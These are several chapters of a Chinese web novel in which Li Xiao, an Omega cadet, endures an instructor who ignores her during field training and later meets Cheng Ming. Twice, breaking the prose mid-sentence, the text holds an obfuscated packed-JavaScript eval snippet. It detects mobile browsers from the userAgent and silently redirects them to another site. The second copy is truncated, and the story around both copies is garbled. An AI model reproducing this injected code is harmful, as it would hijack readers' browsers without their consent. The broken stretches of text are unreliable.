这女孩儿明显属于“会喘气”的行列,她从旁跑过时,济慈准尉难得的没有骂人…… ……随即医生就看到了济慈准尉的目光。 啊,糟糕……他想,济慈准尉认出来了——之所以没骂人不是因为觉着这女孩儿出众,纯粹是因为已经决定无视她。 被教官、甚至同伴当空气人——确实也是考入军校的Omega必须面对的困境之一。医生多少有些事不干己地感慨。反正只有三个月,就当没看见吧。 。 黎晓拎起安杰洛摔倒时飞出去的负重包,伸手把他拉了起来。安杰洛气喘吁吁、趔趔趄趄地跟在她身后,一手叉腰,另一手索要自己的负重包,一副随时都能晕倒却还在顽强坚持的模样。 黎晓于是配合地把负重包还了回去,安杰洛就势又摔了一跤。 教官一脚踢过去:“别跟我装孙子,没死就给我爬起来。今天这十公里,你滚也得给我滚完!” 安杰洛骂了一声娘,手脚并用地爬了起来。艰难地继续往前趔趄。 黎晓回头看了教官一眼——果然,教官灰蓝色的瞳子照旧直接跳过了她,指着她前面的人开骂了。 军训已经开始三天,全班所有人都被教官骂过、踢过——只除了她一个人。 安杰洛阴阳怪气当众提过这件事,用的依旧是那种看似夸奖和羡慕的语气——黎晓能觉出他这次是真情实感的嫉妒,当然也是真情实感地在坑她。 但她丝毫不觉着这有什么可嫉妒的。 她很清楚地意识到,教官不骂她不是因为她做得好,只是因为——她被彻底的无视了。 47. 木与花之诗(二) 一 军训第四天、第五天、第六天……和前三天没有任何区别。 每天做的都是最枯燥的体能训练。不停的跑步,平地跑、负重跑、障碍跑、匍匐跑、涉水跑……仿佛在用跑步和辱骂击溃学生身为精英的自尊前,教官没有任何自信和能力指导他们。 不教授任何实战技能,甚至都没讲述过经历、传授过经验。学生们期待的进入大树海后直接与魔兽对战的机会,更是毫无踪影。 日复一日的重复训练中,教官的态度越来越恶劣,学生的烦躁情绪也在不停地积累。 所幸还有陆清源在——这个拥有压倒性实力和令人信服的人格魅力的Alpha,天然就是这个团体的压舱石。 他什么都无需做、什么都无需说,只要他存在,所有人就必须在忍无可忍时扪心自问——陆清源都能忍耐教官的粗俗、偏见和无理,自己凭什么不能忍?陆清源都能认真完成这种毫无技术含量的无效训练,自己凭什么不能接受? 济慈班的训练,就在这种不停的自问和忍耐之中,诡异地平稳地持续着。 但这种自问,也只对战术组体力怪物有效。 安杰洛瘫倒饮水池边,任由水流浸湿衣袖。 他原本想来喝一口水,但挪过来后就只想瘫着,手指都懒得动一下。 他不是以体力见长的大兵,军事能力考核时,基础体能也纯是靠着小聪明擦边通过。六天的疲劳积累下来,浑身上下所有的细胞都已达到极限。 他遥望着训练场上脱得光了膀子的战术组,看他们甩着衣服阴着脸,各怀情绪地排队往沐浴间里去,内心阴暗地抱怨着——为什么还不爆发。去造反,去冲撞教官,去把不满对着那个因为自己是大兵出身就嫉恨别人是精英的混球教官宣泄出来啊。 还有那个Omega,是Omega就要有点Omega的自觉,这种时候适当地撒个娇偷个懒表现一下柔弱,拉低一点基准分又能怎么样?这难道不是Omega的特权吗?所有人都会感谢你的!表现得比Alpha还优秀究竟有什么好处?反正就算军训拿到A毕业之后也一样得去结婚,难道还能当上将军吗…… 啊,真是讨厌啊,他当初为什么一定要选二军大,跑来跟这群体能怪物正面竞争?国立大不也很好吗…… ……午后四点钟的阳光筛落在地,大树海特有的混合着各种鸟兽鸣叫声的白噪音充斥耳廓。 安杰洛面无表情地盯着训练场,直到所有人都消失在视野中。 营养剂递过来时,他才稍微回过神来。抬头见是黎晓,忽然就有些克制不住恶毒:“动不了,能获得Omega喂食的殊荣吗?” 黎晓什么也没说,打开盖子插上吸管,把营养液怼到他嘴边。 安杰洛心里的烦躁被戳爆,拼着仅剩的力气把营养液薅在手里,怒火攻心又半死不活地叼着吸管喝完了。 “还有十五分钟沐浴时间。”黎晓淡漠地提醒道,“待会儿的装备维修课要我帮你……” “不用你管,我能去。” “那就好。” 黎晓没有动。 安杰洛有些忍无可忍:“你是在看我的笑话吗?——体力居然比你这个omega还差劲。” 黎晓语气也莫名激烈起来:“比我差劲是什么很低劣、很丢人的事吗?” 安杰洛几乎就要直接吼回去——比Omega差劲难道不丢人吗?却莫名地克制住了。 ……太蠢了。他懊恼地想,差点就沦落到跟那些连最基础的家庭作业都要出钱找人代写,除了出身之外浑身上下找不出沙粒大的闪光点,却偏偏只因为出身就能拥有一切的愚蠢的具现化实体们一个水平了。 Omega不差劲,贫穷小市民的儿子也不差劲,混血出身同样不差劲。 差劲的就只是愚蠢无能傲慢还不自知的人本身罢了。 “你是怎么做到的?”他终于还是强忍着不甘,直接开口问道。 黎晓明显还处在应激状态:“什么怎么做到的!” “比alpha更强的耐力。”安杰洛抬头瞪着她——他很确定黎晓是个omega,不单单因为那次击穿。这六天的训练里他很仔细地观察过,黎晓的体能确实是omega级别的,这点毫无疑问。但她就是能踏实又有效地完成所有的训练,纵使偶尔被逼出极限也能很快调整过来、不把疲劳积累到第二天。轻盈到了让人怀疑她到底有多深不可测的地步。 但想也知道,这种诀窍不可能轻易传授给…… “吐纳。” 安杰洛甚至都还没腹诽完,就听到了黎晓的回答。 对话顺滑得他反问时甚至都没经过大脑:“……吐,纳?” “就是教官说的喘气。”黎晓轻轻呼了口气,抛开多余的情绪,尽量平和地解释,“把握好喘气的节奏,合理地调配体内导力。让心肺的气体循环和经脉的导力循环协调的贯通起来,就能尽可能地延长状态持续的时间。” 安杰洛凝视着黎晓的眼睛——一如既往的正直又认真的目光,虽然跟你有很多矛盾、甚至于有些讨厌你,但只要还是队友、还站在你的身边,就会给与你一切力所能及的支撑和帮助的目光。 她没有骗他,正尽心尽力地替他解决疑惑。 啊……这种正直到有些邪门的人格,真的有些讨厌啊。 “……听不明白。”他咕哝着。 黎晓烦闷的思索了一会儿,对他说:“伸开手臂。” 安杰洛没力气抬起手臂,黎晓就蹲下来,帮他展开了一侧的手臂。手指在上面画了一条线,以负导压牵引着,从手臂延伸到指尖,又从指尖回环到手臂——过了一会儿安杰洛才反应过来,她在向自己演示导力的流淌方式,“体内导力这么走的时候,呼气,舒展。所有的细胞都打开,让导力进入,浊气排出,具体到指尖最末的细胞。尽量把过程拉长。回环到心肺的时候,再吸气……” “你在讲什么玄学吗?”导力牵引、指尖相触的感觉太微妙了,仿佛他们有多要好似的。安杰洛忍不住起了一身鸡皮疙瘩,本能地对那种格外令人安心的陌生牵引感产生了强烈的不适。 “……差不多吧。”黎晓居然承认了,“不同的人有不同的领悟,很难说明白。总之跑多了,逼近极限又拉回来的次数多了,忽然有一次好像找对了,慢慢就明白了。障碍跑、跑到再也跑不动但又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726878|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须跑下去,是最直接的方式——持续搏击也可以,但是会受很多不必要的伤。” ……等等,安杰洛忽然意识到,这个人好像是在替那个讨人厌的教官解释他那令人厌烦的训练方式的目的。他忍不住就在心里吐槽——这种时候给那种众怒所指的人说什么好话啊!你自己才是被霸凌的最惨的那个吧。 他烦躁的揉搓着胳膊,尝试着“吐纳”,已经不自觉地开始寻找那种玄妙的感受。 黎晓观察着安杰洛的状态,好一会儿之后,终于还是建议:“装备维修课你还是请假吧。” 安杰洛本能地反驳:“凭什么?” 黎晓望向了教官休息室的方向,深深叹了口气,甩开杂念,提醒他:“我觉得,教官想留你单独加练一会儿……”安杰洛激灵灵地打了个哆嗦,正要严词拒绝,就听黎晓说,“——我要是你,就主动去找他问一问。” 安杰洛盯着黎晓的眼睛,突然就冷静下来。 ——确实,教官骂他骂得很脏,但也骂得最多、最及时。几乎每一次他冒出“实在撑不住了”的念头,都会立刻就被他针对,被迫从烂泥里爬起来继续。 也许,意外地……教官一直很尽责地在关注着他,也说不定。 也未必就要立刻去找教官请教,但总之再坚持一下……肯定没什么坏处。 安杰洛忽然想起了什么。停顿了片刻,还是开口了:“我要是你,也会当面找他问一问。”见黎晓一脸的怔愣,他恶劣至极的心情忽就舒坦了不少,讽刺道,“处境再烂,也烂不过一直被人当空气吧。” 黎晓怔怔地站在那里——她不无愤懑地想,这个人果然也发现了。发现了也还要阴阳怪气什么教官没骂过她,真是讨厌啊。 她确实很想在被无视的当时,直截了当地当面质问——您对我究竟有什么不满?我是什么很不可救药的学生吗? 但是—— “你到底在顾虑些什么。”甚至都无需黎晓开口,安杰洛就知道这个麻烦的女人在想什么,“我忍得要死也不惹他是因为他手里握着评优的一票否决权,你忍他又是为了什么?觉得被无视、被孤立的滋味很爽吗?觉得自己能力超群,就算没人指点也能突飞猛进、跟上课程?这里可是大树海,跟你一起上课的可全都是各省名校毕业的首席alpha。你是有多自信啊。”他嘲讽地笑着,“怕矛盾激化,怕引爆班级和教官之间的冲突,怕自己成为那根导|火|索?拜托,你也太把自己当一回事了吧,真以为自己是陆清源啊。” 黎晓张了张嘴,却说不出一句反驳的话。 安杰洛终于夺回了畅快地感觉,爬起来的力气也勉强积攒够了,于是起身离开。走了几步又想起些什么,回过头去,眼睛里含着愉悦的光,对着她扯出了一个唯恐天下不乱的笑:“可别想着私下问哟,私下问半点用都不会有,你明白吧?” 私下问半点用都不会有……黎晓明白。 而她之所以明白,是因为她已经尝试过了。她会特地留下帮忙整理器材,主动去向济慈准尉请教问题,不止一次直接追到了教官休息室…… 而济慈准尉每一次娴熟流畅地无视了她。 ——每一次。 48. 木与花之诗(三) 二 军训第七天、第八天、第九天…… 无力感越来越沉重,无法排遣的愤懑渐渐压得黎晓喘不过气来。 但她瞪着教官望向别处的视线,始终都没有当面质问出来。 她明白直接当面质问是对的,对方是她的教官,在教学阶段他有义务一视同仁,有义务为她答疑解惑。而她也有权利去质疑他凭什么区别对待,凭什么对她施加冷暴力。 但她问不出口。 她总觉得一旦她直接开口索要平等,一旦她用对方的义务去迫使对方低头,那么在自己最想赢的事上,她就彻底地输了。 虽然这种输赢幼稚可笑,某种程度上根本就是不值得的浪费和对她人生的拖累——但她必须得赢。 否则就像是否定了自己过往的全部努力。 她开始变得争强好胜,每一次训练都拼尽全力冲在最前——她在嘲讽、在示|威,在拼尽全力用事实去抽那个否认她的存在的人的脸。 她从未如此清晰地认识到,从小到大自然而然获得的东西、被她认为是不言而喻人人拥有的东西,居然不是理所当然的。 ——原来“被看到”也是生存的必需,是稀缺又奢侈,需要拼尽全力去争取的东西。 安杰洛说得没错——跟她一起上课的全都是各省顶尖名校毕业的首席alpha,在这群人里争抢首席的难度和在晨星高中截然不同。他们每一个都有着远比她更旺盛的胜负欲,无非遇到了传说中的陆清源,在摸清自己的位置之前本能地、谨慎地将胜负欲收敛了起来。 黎晓突如其来的爆发击穿了这些人原本就不多的谦逊,也让他们这些日子的压抑有了一个顺理成章的出口。 所有的精力和不满都向着这个出口发泄出来。 ——陆清源也就罢了,不对,就算是陆清源又怎样!一切都还远未尘埃落定,凭什么要让要忍,要任由这个除了比他们早生了十几年外没有任何资格指导他们的败类打压得像个孙子? 没有人再保存体力,甚至于没有人去冷静的分配体力。 所有人都像疯了一般一路全力狂奔,呼号声喊得震动层云,就连团部的军官闻声都忍不住透过窗子向外张望。 对此,济慈准尉没有多余的表示,只顺势把训练量翻了个倍。 在第十天的训练结束前,战术组终于也有人脱水摔倒。 当所有人都气喘吁吁地瞪着那个只会骂人的教官,等着这一天例行训话,却听到了军训开始之后从这个人口中说出来的第一句表扬:“还行,像个人样了。” 可惜这些人都不吃|精神操控这一套——凭什么要吃?这个人除了站在导力车上跟队骂人之外,有做任何事吗? 甚至都没有亲自跟队跑一次,稍微展现一下自己比“臭虫”“蛆”“废物”强一点的实力,就想高高在上地对这些一向比别人更努力的天之骄子们训话,未免想得太容易。 但济慈准尉仿佛没有任何自觉。 “但也别把自己当什么人物——你们脖子上那玩意儿是摆设吗?”他恶狠狠地戳着自己的太阳穴,“信不信老子一脚给你们踢烂掉?都十天了,就算是只蛆也该学会喘气了,你们呢?废物。——今天的专业自修课暂停,所有人留堂反省!” 他转身离开时,有人忍不住要出列追上去跟他理论,却被身旁同伴按了下来。 ——十天了,确实,就算是只蛆也都意识到他口中的“喘气”有特殊的含义。 所有的目光几乎都望向了黎晓和安杰洛。 黎晓突如其来的爆发过于引人注目,而安杰洛的进步之快有目共睹。 所有人都意识到——这两个装备组的弱小beta肯定已经从这些天的训练里,领悟到了什么。 而黎晓已经闭目调息,开始冥想——虽然对教官满腹不甘,但她确实看得懂这个人的节奏,明白迄今为止他的指导剥去多余的人格羞辱,每一次都是准确并且及时的。 正因为明白他是正确的、负责的,他所施加在她身上的不公平,才会格外地刺痛、格外地令人透不过气。 第三名——她想,就算拼尽全力,她也只跑到了第三名。除了陆清源之外,这个只有二十人的班级里,还有一个人比她强。其实就算是输给她的那些人,也不是当真输给了他。仅仅是因为他们的先天禀赋过于优越,始终没被逼迫到需要主动去寻求使用禀赋的技巧,才会暂时被她压制。 ……真是讨厌啊。黎晓不无自嘲地想,命运为什么不能按照人努力的程度去分配天赋呢?为什么要让她在十几岁的年纪就看清楚自己的极限,又一次次让她碰触到无论如何都想要赢得的东西。 但是……想这些有什么用。 既然无论如何都要赢得,那么除了拼命去赢之外她还有别的选择吗? 。 军训开始十天之后,当所有人都不约而同地将目光投向黎晓时,陆清源也终于能站在人群之中,第一次无需克制地将目光投向了自己喜欢的女孩。 他告诉自己——这女孩儿是他的队友兼竞争对手,她强大、努力,令人尊重,他必须以这样的目光看待她。 却在看到她的瞬间,就被奔涌而来的喜悦和痛苦所淹没。 他迅速移开目光,轻轻舒了口气,截断了内心欢腾动荡的情绪。拍手将众人的注意力从黎晓身上引开,引导众人坐地调息冥想。 济慈准尉厌恶娱乐,厌恶吵闹,厌恶没有等级秩序观念、跟他随便说笑的学生。 因此济慈班训练休息时间不准拉歌、不准说笑、不准抱团窃窃私语。训练结束后向他请教倒是没被明文禁止——但济慈班的学生厌恶教官本人。除了黎晓之外,也根本就没有人认真去跟他交流过。 训练任务也很繁重。 白天一切活动包括洗漱、用餐、沐浴,全都是有严格时间表的集体活动。 下午四点之后虽然有两个小时的专业自修,但课程也是强制的。 战术组要加强训练、巡视内城防;还要学习树海名物,识别攻击性魔兽和植物。后勤组大部分人都被编进了装备维修组,学习并且练习蚀刻和焊接基础,顺便帮驻军军团护理、维修现役装备、设备;也有些人被征调去做后勤统计、医疗保障…… 晚上熄灯之前有两个小时的自由活动时间——但除了跨班级比武、联欢这些不能不参加的集体之外,其他时间也全被“专业自修”里的实践课程占据着。换言之也就是战术组在戍守巡防,后勤组在搞维修、医疗……基本就是给驻军军团打工。 十天里,陆清源几乎没有机会跟黎晓单独说话。 三天前他差点就得到了机会——负重训练时黎晓突然加速,风一般地从他身边冲过。就像在达瓦市那个夜晚她意外出现在他的面前一样,裹挟着清风闯进 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——因为济慈准尉在军训第一天立下的神奇班规和训练课程超乎想象的紧凑程度,济慈班的后勤组迄今都还没跟战术组完全熟悉起来。在黎晓这里,纯靠过人的记忆力才能把人、名字和他们的回路数据对应起来。 而加布里埃尔是除陆清源之外,少有在黎晓这里混了个脸熟的战术组同学。 无他——这些天里这两个人铆足了劲争夺第二名,训练跑里一路你追我赶,互不相让。 可以说除了陆同学的背影,加布里埃尔同学时而得意挑衅、时而挫败拼命的脸就是黎晓这些天军训课程里的最常见的背景板。 “有什么事吗?”她问。 比她高了一个半头的高卢人抓了抓他栗金色的头发,笑得像个头脑简单的阳光快乐大男孩。忽然意识到到黎晓正费力地仰头看着他,连忙俯下身来,不好意思地平视着黎晓的眼睛,询问: “安杰洛说,他能完成训练,靠的是你教他的神奇喘气术……我知道这很冒昧,但可以请你也教一教我吗?” 黎晓深吸了一口气—— 加布里埃尔身后一众看似不关心,实则从加布里埃尔喊出黎晓的名字那刻就全都竖起耳朵关注着这边的战术组大兵们也全都跟着倒吸了一口气,在心底狂暴怒吼—— 神奇喘气术是什么鬼!是嫌你这些天对着人家频繁眼角抽筋的行为还不够招人厌吗?!而且别人凭什么要教你,这几天你们不是一直都在激烈竞争吗! 慢了一步的陆清源也深吸了一口气,调整好表情,正要上前帮黎晓解围,就听黎晓平淡地说:“可以。”她已经撸起袖子开始挽头发,脸颊上还挂着干掉的泥点子,边准备边说,“但我还要去补四点钟的课程,只能给你示范一遍,可能没法教会你,没关系吗?” 加布里埃尔小狗一样开心地点头:“嗯,没关系。我很聪明,一遍就能学会。” 黎晓点头,指挥他:“坐下——展开手臂。” 呼啦啦所有人都围了上来。 因为黎晓出人意料的慷慨和宽容,这些天挤压在所有人心头的怨气阴云仿佛都消散了不少。每个人都目光灼灼,心情期待。 黎晓一愣,抬头看向四周因为匍匐涉水又被留堂,衣服头发全都捂成了烂菜叶子,却完全把沐浴时限抛之脑后的众人,轻轻舒了口气。随即目光恼火地瞪向正准备偷溜的安杰洛,喊出了他的名字,命令:“你也过来帮忙!” 49. 木与花之诗(四) 三 收整好操作台上的工具后,黎晓对照着实验记录再次确认了一下器材和蚀刻液的归类状况,确定一切符合安全守则,才抻了抻有些僵硬的脖子,在记录上签好名字,关掉了蚀刻室的灯。 出门时团部维修组的组长喊住她,递给她一袋曲奇。 ——军粮包里配餐的曲奇小饼干,一份两块,在团部老兵那里莫名地受欢迎。来这边值夜班的军训生也有餐包可领,但经常领到手前小饼干就已经被人掏走了。安杰洛的小饼干被偷得最多。黎晓的只被偷过一次,但收到别人送的,也是第一次。 还是牛皮袋装的一整包……感觉安杰洛他们这些天被掏走的份量,全都在这儿了。 军训手册禁止私藏零食,她不知该不该接。组长就直接给她塞进工装口袋里,笑:“这不算零食。”说完就拍了拍她的肩膀,提醒她,“外面有个小伙子等你半天了,赶紧去看看。” 黎晓顺着她拇指的指向一扭头,就看到工房空旷的铁门框外,成铭手忙脚乱地尝试摆出自己没有往里偷瞄的模样,失败之后干脆就一举手:“说的是我。” 视野早已因这个人的出现而明亮轻快起来,黎晓“噗”地就笑出了声。 匆匆向组长敬礼道别,一路跑到成铭跟前,碰面先掏小饼干给他吃:“你怎么在这里?今天不用做夜巡吗?” 成铭撕开包装往她嘴里喂了一片:“不用。想见你就过来了。你呢,怎么留到这么晚还没回去?” “唔,”黎晓嚼着小饼干,碰面之前确实已经快要透不过气来了,碰面之后却忽然觉得济慈准尉也不算什么,根本就不值得她浪费这样好的时光去抱怨,就说,“教官罚全班留堂,下午的课程全都堆在了一起。要练习焊接和蚀刻,还有些装备零件要维修……装备组只有我入学前没用过焊接器和蚀刻机,自然就得比别人多练一会儿。不知不觉就这么晚了。” 成铭安静地听她说着。 ——大树海里存在被称作“次元叠加”的特殊地形,可以通过树王人为进行干涉乃至设置。只要调度得到,就能保证所有班级都能在同一个训练场上同时操练,彼此之间却不会相互碰面和妨碍。而七镇的军训基地显然拥有全帝国最成熟的次元空间调控系统。 军训开始之后,两人的班级一次都没有在训练场上相遇过。 在食堂里倒是偶尔能远远望见,却也不可能离开队伍跑来打招呼。 两人已经很久没有机会碰面了。 ——想见她才来确实是实话。 却不是全部的实话。 昨天全基地聚餐时,他被班上热爱搞怪的三人组拽上台去一起表演节目,从高处很自然就望见了黎晓。尽管台下灯光昏暗,黎晓的身影半遮在窗帘的阴影之下,和其他人一样被逗得频频失笑,可他还是清楚地察觉到了——黎晓的情绪很不对。她整个人都紧绷着,仿佛有一些亟待爆发的东西被她刻意压制着。有些像是以往每一次输掉比赛后她一个人赌气加练,预备归来后创飞全世界时的状态,却又不太一样。 这一次她的压抑里分明积攒了许多负面情绪,不是对她自己的,而是对外的——有些像是愤怒,又有些像是孤独。 所以这一天成铭就借口要帮医务组维护数据,翘掉了自我研修课。跑来团部帮徐驰少校敲代码,一直敲到夜间黎晓下课。 但似乎是他判断错了,黎晓的状况看上去也没那么糟糕,暂时不需要旁人来干涉。 ……这一点倒是和过往每一次一样——所有人都以为她可能承受不住、她应该就要承受不住了,上前想要帮一帮她时,看到的永远都是她咬紧牙关昂起头、灿烂微笑的模样。就像是泥地里被频频践踏过后,狼狈残破却依旧倔强地挺起花枝,奋力开放的花。 从小到大一直如此,未来或许也将继续如此。 成铭凝视着她鼓着腮帮边嚼饼干边愤愤不平地控诉“教官留堂了”的模样,忍不住就伸手弹了一下她的额头。 黎晓捂着额头莫名其妙,瞪他:“干嘛啊。” “看着光溜溜的,忍不住想弹。”成铭无辜地眨了下眼睛。 心里想的却是——偶尔也稍微依赖他一下啊!否则他究竟是为了什么这么努力地变强。 黎晓:魂淡这是什么理由! 黎晓恼火地转着圈伸手要弹回来,成铭敏捷地躲闪着。 两个人你攻我躲,不知不觉就打了半路,最后以成铭乖乖地被弹了一脑嘣做结。 黎晓报了仇后神清气爽地笑,成铭手撑在膝盖上看着她,也忍不住笑了起来。 看了一会儿他才认真地说道:“……你可以说给我听的。” 黎晓愣了一愣,忽然就意识到——成铭已经察觉到了,她状态很糟糕。 但她张了张嘴,却不知该从何说起。这整件事固然令她愤懑压抑得几乎喘不过气,每晚都在无法宣泄的不甘之中入睡。但似乎从一开始,她就没想过该向任何人倾诉。 ——这是她和济慈准尉两个人之间的对决,不值得将第三个人牵扯进来。 就算是成铭也…… ……毋宁说,尤其是成铭,她最不希望把他牵扯进来。 她想要自己解决这件事。毕竟这是离开成铭之后,她第一次独自面对困境。她必须得证明——不是向成铭证明,而是向自己证明——她一个人也可以。 她想要成为可以平等地站在他身边,与他并肩作战的人;成为就算离开他,也能独当一面的人。唯有如此,他们两人的未来才是自由辽阔的。 否则当初她根本就没有必要强行将两人的心都撕碎掉,去跟他提分手,更没必要考什么二军大——乖乖地退回到他身后当一个被保护者,被他牢牢地束缚也将他的人生死死地束缚在自己身上就好了。 她知道她可以说给成铭听。 她知道成铭一定能懂,也一定会默契地不做干涉。 但,此刻还不行。此刻的她狼狈不堪,持续战败。她很怕心里那口气一旦泄掉了,意志也会因此松懈下来。 成铭凝视着她的眼睛,很快便明白了什么。他站起身来,安静地等着。片刻后轻轻叹了口气,上前一步。 先前打闹得衣衫有些乱了,他便顺手为黎晓理顺了工装裤的衣带。过于自然的动作做完,才察觉到这亲密多少有些越界。但他迅速就挥开了这不合时宜的窘迫,认真看向黎晓。 “不一定非得现在说,想说时再告诉我也是一样的。” 黎晓眼眶一热,闷声点头:“……嗯。” 成铭有些小别扭——就这么“嗯”了,不能稍微挣扎犹豫一下吗?但他随即便无奈地笑了起来。 略作思索,又说:“团部医务室里有沙袋,不开心了可以去打一打。就算不想说,也别把情绪都憋在心里。人的承受力是有极限的,不示弱,也没必要让自己太难受。” “也不用你教啦……”黎晓脸上有些发烫,小声咕哝着。随即反应过来,忙问,“你去过团部医务室?” “嗯。”对上她关切的眼神,成铭忍不住就又想招惹她,“……偶尔也会想偷偷懒嘛。” 这作风简直太成铭了!从小到大除了学习之外他根本就是老师最头痛的那种问题学生。想起自己因为他的不合群而替他在各种场合做的善后,因为他的偷懒而替他多承担的那些学生代表职责,黎晓就一个头两个大。 “你也别太散漫了啊,军训开始才十天而已啊。这回我可没有跟你分在一个班啊……”说着忍不住就锤了他几下。 成铭只是看着她笑,摸着被她锤过的地方,根本就压不住嘴角。 黎晓忽地反应过来,瞬间满脸滚烫。 成铭赶紧坦白:“放心。刚刚骗你的啦。” 黎晓转过头去不想理他。 山坡上起了风,自远方来,又往远方吹去,空气清澈通畅,天空一碧万里。明月悬挂在浮空树荫的枝头,万千花苞映照月辉,静立如栖鸟归巢。 周身萦绕的沉郁感不知何时散去了,身体轻盈舒展,视野辽阔清远。 黎晓轻轻呼了一口气,知道身旁就站着自己喜爱的少年,意识到最痛苦孤单的关卡他们确实已闯过了。她忍不住也勾起角。 成铭解释说:“医务室徐驰少校招我过去帮忙。所以训练空闲的时候,我也到团部去。还遇到过你们班的何塞同学。” “少校也找过我,”虽然知道成铭也被邀请了难免有些懊悔,却已不像先前选错了班那么失落,黎晓就和他闲聊着,“但装备班那边就我进度最慢,不想拖大家的后腿,就拒绝了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726880|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ——跟其他省那些财力雄厚的传统名校相比,晨星高中确实太穷了,学校里没有配备相关的器材实验室。黎晓也只在军事测试之前,去达瓦市的空军飞行器基地突击补习过几天。 医生来邀请她的时候,她正忙着向装备班的苏瓦上尉学习各种实操经验。 “嗯。”成铭很想接一句——比起担心拖累别人,她更该担心被别人拖累。但想想还是算了,黎晓暂时应该也不会想跟他聊自己在新环境里的人际关系。 ……她的人际关系其实也没什么可担心的。 这姑娘确实会因为过于喜欢“多管闲事”而被同龄人疏远,但谁会认真去讨厌这么一个温柔又勇敢,永远都可以求助和信赖的人呢?她或许不是班级里最受欢迎的,但她始终都是最被尊重和喜欢的。 她之所以会对自己的人际关系认知偏差,以为自己人缘很差劲,完全是因为她太可靠了,可靠到所有人都知道可以把麻烦丢给她——这就导致从小学六年级开始,全校最难搞的学生都会被丢到她所在的班级里,跟她结成学习对子。 她身边的学渣和问题学生更新了一批又一批,永远络绎不绝,永远除之不尽,永远都在拖她的后腿。 成铭:……好吧,果然还是有些担心。 ……虽然认真说起来,他自己才是被丢给她的那堆问题学生里最资深、最难搞的那一个。 他就又有些想笑。 原本不好意思拿出来的东西,也终于递到了她的面前。 黎晓看着面前方正的银色小纸盒,有些困惑地问:“这是什么?” “巧克力。” 黎晓:……你这个人! “军训禁止偷藏零食。” 成铭得意地翻开小纸盒里的合格标签:“这是军粮巧克力,军工厂生产的,不是什么零食。”他早就猜到她会这么说,“是帮徐少校干活拿到的报酬,你只管吃,保证不违反军规。” ——其实徐驰只让他拿两块儿,他直接把半盒儿都端走了,徐驰心疼得直呲牙。大树海里虽然不缺新鲜饮食,但这种工业食品却全仰赖树海班列每周的补给,团部偶尔能分到一点,镇上则完全没得买。 估计之后几天他得多来团部干活儿了。 黎晓还想再说什么,成铭干脆直说:“就是给你要的。吃点甜的,心情会好一点。你不想说,我就不问。但你得让我做点什么,不然心会一直悬着。” 黎晓怔愣了片刻,只觉从耳尖一路烫到眼皮,烫得没法直视他。 她默不作声地把小饼干和巧克力混装起来,分了一半给他。 成铭不接,她就恼火地往他怀里一塞,声音却轻得能被风吹散掉:“……我也一样。” 成铭听到了。他捧着那个小纸袋,唇角翘得怎么都压不住。咕哝着:“我有什么可担心的啊……” 就寝的提醒铃声就在此刻从山坡下传来——再不走快些,就赶不及在熄灯查寝前回宿舍了。 成铭嘿嘿笑着,问道:“要比一比谁跑得比较快吗?” 黎晓:…… “好啊。” 但在成铭跑起来前,她一把拽住了成铭的衣领,闭上眼睛垫脚亲吻了他的嘴唇。 脑海中似乎有烟火炸开……嘴唇分开之后,花火的明灭的光仿佛依旧半含在彼此的眼底。 两人一时只是凝视着对方。 片刻后,黎晓用手背冰了冰嘴唇,说:“只是想从你那里分一点勇气。” 成铭连忙点头。只觉脑子迷迷糊糊的,整个人都仿佛要飘到了天上——他发誓他绝不是为此而来,但是……嘿嘿。 “……嗯。够了吗?” 黎晓:…… 在黎晓羞恼之前,成铭飞快地俯身,在她唇上印下一吻。 人体内的导力和自然中蕴含的导力是不同的,它沿着导力回路走遍人的周身,携带着人体全部的信息。人的思想、心跳、荷尔蒙的分泌……每一次喜悦、悲伤、悸动、缱绻,都会影响导力的流淌,使导力呈现出不同的脉动和气息。 只要读懂了对方的导力,就能读懂对方的心。 而导力是可以通过□□在身体之间传递的。 果然,早就该直接亲下去了。 ——他们都不由自主地想。 50. 木与花之诗(五) 四 “……我承认,罗贝尔同学作为女性确实高洁美丽,但她可是个Alpha,还能挥出斩舰刀。喜欢她跟喜欢同性有什么区别?相比之下黎晓同学就温柔得多。说是只教一次,结果是每个人都只教一次……也太可爱了吧。” “确实黎晓同学更好看。” “而且她动作好轻啊,手指软软的,跟男人完全不一样。” “等等……就没人觉得雷奥妮最可爱吗?” “可爱是可爱,但她个子也太小了吧。根本就还是个小学生嘛。” “你那是没见过她抡改锤的样子。上次负重越野,我亲眼看到她在标准配重里又加了一块两公斤的铁饼。” “……” “说起来……黎晓同学好像也全地形都跑过前二啊。” “……” “……我们是不是有点狂妄了?” 比其他人晚回了一会儿的陆清源站在302室门外,听着同寝生们热火朝天地讨论着异性话题,为自己该不该进去——该何时进去而感到了轻微的苦恼。 他确实毕业于寄宿制学校,住学生宿舍的经验比住本宅还丰富,但从小到大住的都是配备全套管家仆役的单人宿舍。鸽子笼一样成排摆放的上下铺八人寝室的体验,对他来说是比军训本身更严峻的人生挑战。 目前为止他适应得还算顺利,但这主要得益于舍友的自觉——他们主动为集体生活改掉了诸如半裸、囤积臭袜子、聚众喧闹、毫无征兆地表演虚空运球、乱用别人的杯子……等等坏习惯。 当然,陆清源也学会了使用公共洗衣机,叠衣服,带耳塞眼罩,对莫名其妙搭到他肩膀上的胳膊报以微笑,对开到他身上的不合时宜的玩笑假装没听清、和蔼地请对方复述一遍……等等生活技能。 但卧聊异性话题? 多少还是有些太没有边界感了。 